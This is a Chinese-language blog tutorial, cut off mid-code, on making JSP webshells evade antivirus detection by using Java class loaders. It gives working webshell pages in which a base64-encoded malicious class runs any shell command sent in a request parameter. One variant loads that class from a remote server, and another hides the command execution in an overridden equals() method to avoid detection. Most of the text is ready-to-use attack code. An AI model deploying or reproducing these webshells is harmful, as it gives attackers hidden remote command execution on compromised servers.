Jsp Webshell 免杀-类加载器

前言

在经过java类加载器的学习,我们对webshell的免杀处理就可以更进一步。

自定义类加载器-命令执行

对于如何自定义类加载的详细过程,可参考 Java 类加载器学习 。这里就不多阐述了。
我们直接创建一个恶意类,里面的Eval方法编写调用Runtime.getRuntime().exec进行命令执行。

package com.atguigu.test;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

/**
 * @author cseroad
 */

public class Test {
    public String Demo1() {
        return "hello cseroad";
    }

    public String Eval(String cmd) throws IOException {
        StringBuilder var_str = new StringBuilder();
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
        InputStream input = p.getInputStream();
        InputStreamReader ins = new InputStreamReader(input, "GBK");
        BufferedReader br = new BufferedReader(ins);
        String line;
        while ((line = br.readLine()) != null) {
            var_str.append(line).append("\n");
        }
        String vars = var_str.toString();
        br.close();
        ins.close();
        input.close();
        p.getOutputStream().close();
        return vars;
    }

}

将该类编译为class字节码文件后base64编码,方便读取class字节码文件内容。

image.png

然后自定义一个类加载器,并重写findClass()方法。该方法用来查找一个类,并在方法里调用defineClass()方法将字节流实例化为对象。

public class DemoClassload extends ClassLoader {

        protected Class findClass(String name) {
        String classStr = "yv66vgAAADcAZwoAGgA7CAA8BwA9CgADADsKAD4APwcAQAgAQQgAQgoAPgBDCgA1AEQHAEUIAEYKAAsARwcASAoADgBJCgAOAEoKAAMASwgATAoAAwBNCgAOAE4KAAsATgoANgBOCgA1AE8KAFAATgcAUQcAUgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTGNvbS9hdGd1aWd1L3Rlc3QvVGVzdDsBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHdmFyX3N0cgEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAFwAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABWlucHV0AQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQADaW5zAQAbTGphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXI7AQACYnIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQAEdmFycwEADVN0YWNrTWFwVGFibGUHAFMHAFQBAApFeGNlcHRpb25zBwBVAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwAGwAcAQANaGVsbG8gY3Nlcm9hZAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwBWDABXAFgBABBqYXZhL2xhbmcvU3RyaW5nAQAJL2Jpbi9iYXNoAQACLWMMAFkAWgwAWwBcAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBdAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBeDABfACMMAGAAYQEAAQoMAGIAIwwAYwAcDABkAGUHAGYBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAvAAEAAQAAAAUqtwABsQAAAAIAHgAAAAYAAQAAAAwAHwAAAAwAAQAAAAUAIAAhAAAAAQAiACMAAQAdAAAALQABAAEAAAADEgKwAAAAAgAeAAAABgABAAAADgAfAAAADAABAAAAAwAgACEAAAABACQAJQACAB0AAAFMAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAADAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgAB8AAABcAAkAAAB4ACAAIQAAAAAAeAAmACcAAQAIAHAAKAApAAIAIQBXACoAKwADACcAUQAsAC0ABAA0AEQALgAvAAUAPwA5ADAAMQAGAEcAMQAyACcABwBfABkAMwAnAAgANAAAACQAAv8APwAHBwAZBwAGBwADBwA1BwA2BwALBwAOAAD8ABkHAAYANwAAAAQAAQA4AAEAOQAAAAIAOg==";
        byte[] bytes = Base64.getDecoder().decode(classStr);
        return super.defineClass(bytes, 0, bytes.length);
    }
}

创建主函数去调用该方法,并传给它类名。

public static void main(String[] args) {
        TestClassLoad testClassLoad = new TestClassLoad();
        Class aClass = testClassLoad.findClass("com.atguigu.test.Test");
        //Class aClass = testClassLoad.loadClass("com.atguigu.test.Test");
        System.out.println(aClass);
}

这样这个类就拿到了。然后就是反射调用Eval()方法,传递变量值。
代码如下:


import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
/**
 * @author cseroad
 */

public class TestClassLoad extends ClassLoader {

    protected Class findClass(String name) {
        String classStr = "yv66vgAAADcAZwoAGgA7CAA8BwA9CgADADsKAD4APwcAQAgAQQgAQgoAPgBDCgA1AEQHAEUIAEYKAAsARwcASAoADgBJCgAOAEoKAAMASwgATAoAAwBNCgAOAE4KAAsATgoANgBOCgA1AE8KAFAATgcAUQcAUgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTGNvbS9hdGd1aWd1L3Rlc3QvVGVzdDsBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHdmFyX3N0cgEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAFwAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABWlucHV0AQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQADaW5zAQAbTGphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXI7AQACYnIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQAEdmFycwEADVN0YWNrTWFwVGFibGUHAFMHAFQBAApFeGNlcHRpb25zBwBVAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwAGwAcAQANaGVsbG8gY3Nlcm9hZAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwBWDABXAFgBABBqYXZhL2xhbmcvU3RyaW5nAQAJL2Jpbi9iYXNoAQACLWMMAFkAWgwAWwBcAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBdAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBeDABfACMMAGAAYQEAAQoMAGIAIwwAYwAcDABkAGUHAGYBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAvAAEAAQAAAAUqtwABsQAAAAIAHgAAAAYAAQAAAAwAHwAAAAwAAQAAAAUAIAAhAAAAAQAiACMAAQAdAAAALQABAAEAAAADEgKwAAAAAgAeAAAABgABAAAADgAfAAAADAABAAAAAwAgACEAAAABACQAJQACAB0AAAFMAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAADAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgAB8AAABcAAkAAAB4ACAAIQAAAAAAeAAmACcAAQAIAHAAKAApAAIAIQBXACoAKwADACcAUQAsAC0ABAA0AEQALgAvAAUAPwA5ADAAMQAGAEcAMQAyACcABwBfABkAMwAnAAgANAAAACQAAv8APwAHBwAZBwAGBwADBwA1BwA2BwALBwAOAAD8ABkHAAYANwAAAAQAAQA4AAEAOQAAAAIAOg==";
        byte[] bytes = Base64.getDecoder().decode(classStr);
        return super.defineClass(bytes, 0, bytes.length);
    }

    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException {
        TestClassLoad testClassLoad = new TestClassLoad();
        Class aClass = testClassLoad.findClass("com.atguigu.test.Test");
        //Class aClass = testClassLoad.loadClass("com.atguigu.test.Test");
        System.out.println(aClass);
        Object o = aClass.newInstance();
        Method demo1 = aClass.getMethod("Eval",String.class);
        Object invoke = demo1.invoke(o,"whoami");
        System.out.println(invoke);
    }
}
image.png

可以正常执行命令。再将该自定义加载类改写为jsp页面。
注:mac下java版本和windows下java版本不一致,需要在windows下javac重新编译

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Base64" %>

<%
    try {
        out.println(System.getProperty("os.name").toLowerCase());
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            class DemoClassload extends ClassLoader {
                protected Class findClass(String name) {
                    String classStr = "yv66vgAAADQAXQoAGgAvCAAwBwAxCgADAC8KADIAMwcANAgANQgANgoAMgA3CgA4ADkHADoIADsKAAsAPAcAPQoADgA+CgAOAD8KAAMAQAgAQQoAAwBCCgAOAEMKAAsAQwoARABDCgA4AEUKAEYAQwcARwcASAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcARwcANAcAMQcASQcASgcAOgcAPQEACkV4Y2VwdGlvbnMHAEsBAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAbABwBAA1oZWxsbyBjc2Vyb2FkAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIHAEwMAE0ATgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAE8AUAcASQwAUQBSAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBTAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBUDABVACAMAFYAVwEAAQoMAFgAIAwAWQAcBwBKDABaAFsHAFwBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAwAAQAfACAAAQAdAAAAGwABAAEAAAADEgKwAAAAAQAeAAAABgABAAAADgABACEAIgACAB0AAADqAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAACAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgACMAAAAkAAL/AD8ABwcAJAcAJQcAJgcAJwcAKAcAKQcAKgAA/AAZBwAlACsAAAAEAAEALAABAC0AAAACAC4=";
                    byte[] bytes = Base64.getDecoder().decode(classStr);
                    return super.defineClass(bytes, 0, bytes.length);
                }
            }
            DemoClassload demoClassload = new DemoClassload();
            Class aClass = demoClassload.loadClass("com.atguigu.test.Test");
            Object o = aClass.newInstance();
            Method demo1 = aClass.getMethod("Eval",String.class);
            Object invoke = demo1.invoke(o,cmd);
            String s = invoke.toString();
            out.println(s);

        }
    } catch (Exception e) {
        out.println(e);
    }
%>
image.png

URLClassLoader-命令执行

java.net.URLClassLoader.class该类加载器可以从网络上指定的位置加载类。
我们把编译好的class字节码文件放在远程服务器上,让URLClassLoader去加载该class。
代码如下:

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>

<%
    try {
        out.print(System.getProperty("os.name").toLowerCase());
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            URL url = new URL("http://10.211.55.2:8000/");
            URLClassLoader test1 = new URLClassLoader(new URL[]{url});
            Class aClass = test1.loadClass("com.atguigu.test.Test");
            Object o = aClass.newInstance();
            Method demo1 = aClass.getMethod("Eval",String.class);
            Object invoke = demo1.invoke(o,cmd);
            String s = invoke.toString();
            out.println(s);
        }
    } catch (Exception e) {
        out.println(e);
    }
%>

访问也可正常执行命令。

image.png

靠近冰蝎

上面编写过程主要还是用到defineClass()方法,那就意味着可以不写类名称来达到同样的效果。


import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
/**
 * @author cseroad
 */

public class DemoClassload  {
    public  static class Myloader extends ClassLoader{
        public  Class get()
        {
            String classStr = "yv66vgAAADcAZwoAGgA7CAA8BwA9CgADADsKAD4APwcAQAgAQQgAQgoAPgBDCgA1AEQHAEUIAEYKAAsARwcASAoADgBJCgAOAEoKAAMASwgATAoAAwBNCgAOAE4KAAsATgoANgBOCgA1AE8KAFAATgcAUQcAUgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTGNvbS9hdGd1aWd1L3Rlc3QvVGVzdDsBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHdmFyX3N0cgEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAFwAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABWlucHV0AQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQADaW5zAQAbTGphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXI7AQACYnIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQAEdmFycwEADVN0YWNrTWFwVGFibGUHAFMHAFQBAApFeGNlcHRpb25zBwBVAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwAGwAcAQANaGVsbG8gY3Nlcm9hZAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwBWDABXAFgBABBqYXZhL2xhbmcvU3RyaW5nAQAJL2Jpbi9iYXNoAQACLWMMAFkAWgwAWwBcAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBdAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBeDABfACMMAGAAYQEAAQoMAGIAIwwAYwAcDABkAGUHAGYBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAvAAEAAQAAAAUqtwABsQAAAAIAHgAAAAYAAQAAAAwAHwAAAAwAAQAAAAUAIAAhAAAAAQAiACMAAQAdAAAALQABAAEAAAADEgKwAAAAAgAeAAAABgABAAAADgAfAAAADAABAAAAAwAgACEAAAABACQAJQACAB0AAAFMAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAADAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgAB8AAABcAAkAAAB4ACAAIQAAAAAAeAAmACcAAQAIAHAAKAApAAIAIQBXACoAKwADACcAUQAsAC0ABAA0AEQALgAvAAUAPwA5ADAAMQAGAEcAMQAyACcABwBfABkAMwAnAAgANAAAACQAAv8APwAHBwAZBwAGBwADBwA1BwA2BwALBwAOAAD8ABkHAAYANwAAAAQAAQA4AAEAOQAAAAIAOg==";
            byte[] bytes = Base64.getDecoder().decode(classStr);
            return super.defineClass(bytes, 0, bytes.length);
        }
    }
    
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException {
        Myloader myloader = new Myloader();
        Class aClass = myloader.get();
        Object o = aClass.newInstance();
        Method demo1 = aClass.getMethod("Eval",String.class);
        Object invoke = demo1.invoke(o,"whoami");
        String s = invoke.toString();
        System.out.println(s);
    }

}

选择自定义一个get的方法,来接收byte数组类型的参数,然后调用父类的defineClass()方法去解析byte数据,并返回解析后的Class。
对应jsp脚本为

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Base64" %>

<%
    try {
        out.print(System.getProperty("os.name").toLowerCase());
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            class Myloader extends ClassLoader {
                public Class get() {
                    String classStr = "yv66vgAAADQAXQoAGgAvCAAwBwAxCgADAC8KADIAMwcANAgANQgANgoAMgA3CgA4ADkHADoIADsKAAsAPAcAPQoADgA+CgAOAD8KAAMAQAgAQQoAAwBCCgAOAEMKAAsAQwoARABDCgA4AEUKAEYAQwcARwcASAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcARwcANAcAMQcASQcASgcAOgcAPQEACkV4Y2VwdGlvbnMHAEsBAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAbABwBAA1oZWxsbyBjc2Vyb2FkAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIHAEwMAE0ATgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAE8AUAcASQwAUQBSAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBTAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBUDABVACAMAFYAVwEAAQoMAFgAIAwAWQAcBwBKDABaAFsHAFwBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAwAAQAfACAAAQAdAAAAGwABAAEAAAADEgKwAAAAAQAeAAAABgABAAAADgABACEAIgACAB0AAADqAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAACAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgACMAAAAkAAL/AD8ABwcAJAcAJQcAJgcAJwcAKAcAKQcAKgAA/AAZBwAlACsAAAAEAAEALAABAC0AAAACAC4=";
                    byte[] bytes = Base64.getDecoder().decode(classStr);
                    return super.defineClass(bytes, 0, bytes.length);
                }
            }

            Myloader myloader = new Myloader();
            Class aClass = myloader.get();
            Object o = aClass.newInstance();
            Method demo1 = aClass.getMethod("Eval", String.class);
            Object invoke = demo1.invoke(o,cmd);
            String s = invoke.toString();
            out.println(s);
        }
    } catch (Exception e) {
        out.println(e);
    }
%>

那如果想不用反射调用指定的方法,就让它执行命令呢?
我们获取的对象object类本身就有很多方法,那我们对应把恶意类Eval(String cmd)重命名为equals(obj) 即可。
在接收参数的时候强制转换String类型为obj。
恶意类代码如下

package com.atguigu.test;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

/**
 * @author cseroad
 */

public class Test {
   
    @Override
    public boolean equals(Object obj) {
        String cmd = obj.toString();
        try {
            this.CMD(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return  true;
    }
    private String CMD(String cmd) throws Exception {
        StringBuilder var_str = new StringBuilder();
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
        InputStream input = p.getInputStream();
        InputStreamReader ins = new InputStreamReader(input, "GBK");
        BufferedReader br = new BufferedReader(ins);
        String line;
        while ((line = br.readLine()) != null) {
            var_str.append(line).append("\n");
        }
        String vars = var_str.toString();
        System.out.println(vars);
        br.close();
        ins.close();
        input.close();
        p.getOutputStream().close();
        return vars;
    }
}

恶意类加载器代码如下

package com.atguigu.test;

import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
/**
 * @author cseroad
 */

public class DemoClassload  {
    public  static class Myloader extends ClassLoader{
        public  Class get()
        {
            String classStr = "yv66vgAAADcAfwoAIABGCABHCgAgAEgKAB8ASQcASgoABQBLBwBMCgAHAEYKAE0ATgcATwgAUAgAUQoATQBSCgBBAFMHAFQIAFUKAA8AVgcAVwoAEgBYCgASAFkKAAcAWggAWwoABwBICQBcAF0KAF4AXwoAEgBgCgAPAGAKAEIAYAoAQQBhCgBiAGAHAGMHAGQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAF0xjb20vYXRndWlndS90ZXN0L1Rlc3Q7AQAFRGVtbzEBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlAQADQ01EAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAd2YXJfc3RyAQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAAXABABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAFaW5wdXQBABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANpbnMBABtMamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcjsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGxpbmUBAAR2YXJzBwBlBwBmAQAKRXhjZXB0aW9ucwEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMACEAIgEADWhlbGxvIGNzZXJvYWQMAGcAKQwAMwA0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAaAAiAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIHAGkMAGoAawEAEGphdmEvbGFuZy9TdHJpbmcBAAkvYmluL2Jhc2gBAAItYwwAbABtDABuAG8BABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQADR0JLDAAhAHABABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAhAHEMAHIAKQwAcwB0AQABCgcAdQwAdgB3BwB4DAB5AHoMAHsAIgwAfAB9BwB+AQAVY29tL2F0Z3VpZ3UvdGVzdC9UZXN0AQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEACHRvU3RyaW5nAQAPcHJpbnRTdGFja1RyYWNlAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJ